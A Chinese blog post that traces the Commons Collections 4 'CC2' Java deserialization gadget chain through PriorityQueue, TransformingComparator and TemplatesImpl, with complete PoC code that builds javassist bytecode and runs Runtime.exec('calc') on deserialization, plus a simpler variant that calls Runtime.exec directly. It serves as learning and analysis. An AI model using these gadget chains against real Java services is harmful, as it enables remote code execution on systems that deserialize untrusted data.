说是白痴上帝视角的原因在于我们拿到了poc,模拟不知道任何细节,去分析这个漏洞的形成原因。也可以说半黑盒状态,主要是锻炼一下分析能力。CC1的分析已经在之前的文章发过了。主要是拿来入门的,现在我们分析一下CC2.这篇文章也是重构,很早之前分析了一次,但是当时水平比现在还低,所以很多地方还不够清楚。现在重新分析一下。需要涉及到以下的知识点

javassist动态编程(主要是字节码修改操作,把他可以看成一个加强版的反射)

本来开始直接跟着poc调的,poc不是特别的友好,很多地方不清楚,那我们还是借助poc逆向来分析吧。

poc
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;public class cc2 {public static void main(String[] args) throws Exception {String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";ClassPool classPool=ClassPool.getDefault();classPool.appendClassPath(AbstractTranslet);CtClass payload=classPool.makeClass("e0mlja");payload.setSuperclass(classPool.get(AbstractTranslet));  payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); byte[] bytes=payload.toBytecode();Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");field.setAccessible(true);field.set(templatesImpl,new byte[][]{bytes});Field field1=templatesImpl.getClass().getDeclaredField("_name");field1.setAccessible(true);field1.set(templatesImpl,"test");InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});TransformingComparator comparator =new TransformingComparator(transformer);PriorityQueue queue = new PriorityQueue(2);queue.add(1);queue.add(1);Field field2=queue.getClass().getDeclaredField("comparator");field2.setAccessible(true);field2.set(queue,comparator);Field field3=queue.getClass().getDeclaredField("queue");field3.setAccessible(true);field3.set(queue,new Object[]{templatesImpl,templatesImpl});ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));outputStream.writeObject(queue);outputStream.close();ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));inputStream.readObject();}
}

了解反序列化的都知道,最终是调用了重写的ReadObject导致了反序列化。所以这里我们看看是PriorityQueue这个类导致了反序列化。我们看看他的ReadObject方法。

方法不大,仔细看看忍一下。heapify()特别瞩目(其实是因为没啥看的了)跟进去看看

siftDown

siftDownUsingComparator


这里我能火速的标记出来是因为之前已经调过了。跟到这里,comparetor调用了compare()方法,再进去就是进接口了。所以这里我们暂放一下,思考一下。是不是某个comparator接口的实现类或者实现类的子类赋值给了comparator(),其中他的compare()调用了其他的一些列方法导致了反序列化链?这里说说两个方法
(1)寻找Comparator的实现类,并且有compare()方法的类去找找。
(2)直接看poc,看看别人找到了哪个类。
本着说道做到的原则,说了当咸鱼就要躺到底,这一期当个白痴,直接看poc里给了哪个类。

看看这个类有哪些东西。卧槽?compare()方法里调用了transform,然后 this.transformer构造方法赋值我们可控。可真是小刀划屁股,着实让人开了眼。

来验证一下,自己写一个类hello,里面的e0mlja方法会弹出计算器。
import java.io.IOException;
import java.io.Serializable;public class hello implements Serializable {public  void e0mlja(){try {Runtime.getRuntime().exec("calc");} catch (IOException e) {e.printStackTrace();}}
}
//修改pochello h = new hello();InvokerTransformer transformer=new InvokerTransformer("e0mlja",null,null);TransformingComparator comparator =new TransformingComparator(transformer);//使用TrPriorityQueue queue = new PriorityQueue(2, (Comparator) comparator);queue.add(h);queue.add(h);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段field3.setAccessible(true);//暴力反射field3.set(queue,new Object[]{hello.class,hello.class});ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));outputStream.writeObject(queue);outputStream.close();ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));inputStream.readObject();
//这里反射调用修改queue字段的原因是找了一下没有方法可以直接赋值。看看效果


不错,成功了。想一下我们现在有的东西,能够通过反序列化PriorityQueue,实现任一类的方法某个调用了。但前提是我们这个类必须要可序列化。我们从CC1知道,Runtime是不能直接序列化的。所以这里要利用CC1的话必须要构造transformerChain传入PriorityQueue中,但是很遗憾,类型转换失败,所以我们要寻找其他的出路了。其实我们的需求现在已经比较低了。我们自己写了一个类上去,现实中肯定没有开发敢这么写,第二天可能就要跑路。所以我们现在找一个办法,能够动态生成一个类,也可以打到一样的效果,这就用到了javassist动态编程了。这里不多介绍,以往文章应该发了,没法的话后续补上。有人可能会疑惑了,为啥不能直接生成一个新的类,添加方法。这是动态编程可以完成的。但是我们要知道生成的类是没有class的,需要调用修改都要用反射,所以是找不到我们想要执行的方法的。这里我们可以寻找一个其他的可以反序列化类,来生成这个对象。
这里选择了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl的newTransformer()来实现。我们来看看这个类

这几个涉及方法的,我们都跟进去看看

最终发现了newTransformer()->getTransletInstance()->defineTransletClasses()->loader.defineClass(_bytecodes[i]) ->_class[_transletIndex].newInstance()。也就是说利用这条链子来加载并实例化了一个类。(注意,我们采用javassist生成的类的方法是静态方法,类在实例化的时候就会调用。)流程差不多清楚了,现在来看看我们要实现这个链子还需要什么条件。
getTransletInstance() 不需要任何条件即可执行
defineTransletClasses() (1) _name不为空 _class为空(构造方法中赋值,不传就行了)。
loader.defineClass(_bytecodes[i]) (1)_bytecodes不为空 (2)超类需要为com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet。




来看看构造完成后,在getTransletInstance()调用了newInstance()完成了类的实例化,执行了我们的恶意代码。

来看一下调用链
getTransletInstance:456, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
transform:129, InvokerTransformer (org.apache.commons.collections4.functors)
compare:81, TransformingComparator (org.apache.commons.collections4.comparators)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:795, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1909, ObjectInputStream (java.io)
readOrdinaryObject:1808, ObjectInputStream (java.io)
readObject0:1353, ObjectInputStream (java.io)
readObject:373, ObjectInputStream (java.io)
main:59, CC2

(1)最后总结一下。我们首先是在重构的PriorityQueue.readObject里面找到了heapify()方法。
(2)通过heapify()->siftDown()->siftDownUsingComparator()->Comparator.compare()实现了一条命令执行链,但是由于没有办法生成新的类,所以还需要找一个任意生成类的链子。
(3)newTransformer()->getTransletInstance()->defineTransletClasses()->loader.defineClass(_bytecodes[i]) ->_class[_transletIndex].newInstance(),通过这里,我们能将利用javassist动态生成的类的字节码传入到其中,实例化一个类调用我们定义的方法,造成任意命令执行。
这里突发奇想,如果说我直接将Runtime作为对象传入,然后动态调整这个CC链,是不是就不需要动态编程这一步了,直接就可以命令执行?事实证明,是可行的。

import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.CtNewMethod;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.*;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;public class test_e0m {public static void main(String[] args) throws Exception {Runtime runtime = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class}, new String[]{"calc.exe"});TransformingComparator comparator =new TransformingComparator(invokerTransformer);//使用TrPriorityQueue queue = new PriorityQueue(2, (Comparator) comparator);queue.add(runtime);queue.add(runtime);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段field3.setAccessible(true);//暴力反射field3.set(queue,new Object[]{Runtime.class,Runtime.class});ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));outputStream.writeObject(queue);outputStream.close();ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));inputStream.readObject();}
}

谈了一下,这种方法的不便之处在于只能命令执行,需要实现什么得自己去找。javassist能够动态生成一个函数。但是需要依赖第三方累。当我们想要依赖的类不存在就用不起。用这个能够直接执行命令,但是对于一些不出网的情况,用起来就恼火,直接出网的能直接用。

学习攻略

“白痴“上帝视角调节反序列化链之CC2相关推荐

  1. 【区块链之菜鸟入门】区块链——颠覆式创新技术

    摘要: 本文是我为大家分享的区块链技术文章系列中的第一部分[区块链之菜鸟入门]的第四篇,也是本部分的收官之作.话说咱们之前了解了这么多的区块链概念和知识,那么区块链到底对于我们的技术世界有哪些颠覆呢? ...

  2. [Java反序列化]CommonsBeanutils1利用链学习

    0x01 前篇shiro的利用,需要动态字节码 ,而这种方式需要我们自己添加依赖,所以很局限,而CommonsBeanutils 是shiro的依赖, CommonsBeanutils 是应用于 ja ...

  3. [Java反序列化]CommonsCollections3利用链学习

    前言 开始CC3链的学习,学完这个之后就暂时不再看Java的反序列化了,先去把JavaWeb给补一下,可能需要1-2个月的时间.再过2个星期开学了还要忙考试的事情,还有课程,还有很多的事情,到时候会更 ...

  4. Apache Shiro Java 反序列化漏洞分析

    Shiro概述 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理.目前在Java web应用安全框架中,最热门的产品有Spring Security和Sh ...

  5. 10-java安全——java反序列化CC3和CC4链分析

    目录 1. 漏洞分析环境 2. 基于TransformedMap的CC3链 3. 基于LazyMap的CC3链 4. CC4链分析 1. 漏洞分析环境 JDK1.7.0_80 apache commo ...

  6. 《辩证行为疗法》摘录 -- 情绪调节篇

    <辩证行为疗法>摘录 – 情绪调节篇 <辩证行为疗法>摘录精华篇请见这<辩证行为疗法>精华部分 文章目录 <辩证行为疗法>摘录 -- 情绪调节篇 第零章 ...

  7. 『Java安全』Shiro1.2.4反序列化漏洞(Shiro-550|CVE-2016-4437)复现与浅析

    文章目录 影响版本 漏洞原理 手动复现 复现代码 pom ShiroConfig UserServiceImpl 复现操作 代码审计 默认密钥kPH+bIxk5D2deZiIxcaaaA== 修复 漏 ...

  8. 石头机器人拖地水量调节_石头扫地机器人T7上手体验:电控水箱和超大容量,扫拖一体全能型...

    [微创WEC科技]前段时间,给大家带来了石头扫地机器人P51的体验,今天给大家带来一个更"猛"一点的,就是今年石头机器人的旗舰产品:T7. 石头扫地机器人T7上手体验视频 要知道石 ...

  9. [Java]LeetCode297. 二叉树的序列化与反序列化 | Serialize and Deserialize Binary Tree

    ★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★ ➤微信公众号:山青咏芝(shanqingyongzhi) ➤博客园地址:山青咏芝(https://www.cnblog ...

最新文章

  1. MySql数据库连接超时处理
  2. 国防科大计算机专业分数线,2018国防科技大学各省录取分数线_2017年国防科大录取线...
  3. 技能模块的防外挂机制和同步机制优化
  4. 服务器告警其一:硬盘raid问题
  5. Taro+react开发(35) 实现拖动
  6. 剑指offer之使数组的奇数在偶数前面
  7. 洛谷——P2656 采蘑菇
  8. vant-ui的list
  9. 软件设计模式概述(摘自《研磨设计模式》)
  10. 广发银行网上银行安全控件官方版
  11. ipa安装手机失败的几类原因
  12. Windows7下安装Ubuntu 16.04双系统
  13. 镜头焦距与拍摄距离以及拍摄范围的关系
  14. 更改计算机网络,终于理会如何更改计算机网络ip
  15. ventoy启动盘 集成多版本系统的启动盘
  16. 十进制整数,转换成八进制和十六进制数并输出。
  17. 定风波·莫听穿林打叶声
  18. sd和sem啥区别_SD与SEM区别
  19. C++ 定义盒子的Box类,具有以下要求: 可设置盒子的形状; 可计算盒子的体积; 可计算盒子的表面积
  20. python import color用法_Python colorcorrect包_程序模块 - PyPI - Python中文网

热门文章

  1. Paper:《Generating Sequences With Recurrent Neural Networks》的翻译和解读
  2. 成功解决Exception unhandled ImportError DLL load failed: 找不到指定的程序。 lib\imp.py, Line: 343
  3. ML/DL之预测分析类:利用机器学习算法进行预测分析的简介、分析、代码实现之详细攻略
  4. 成功解决Command quot;python setup.py egg_infoquot; failed with error code 1 in C:\Users\AppData\
  5. OS_CORE.C(1)
  6. 题解 UVA10298 【Power Strings】
  7. numpy中的matrix与array的区别
  8. 初识java-循环结构(二):6
  9. 课堂练习--最大子数组和 环
  10. [leetcode] Container With Most Water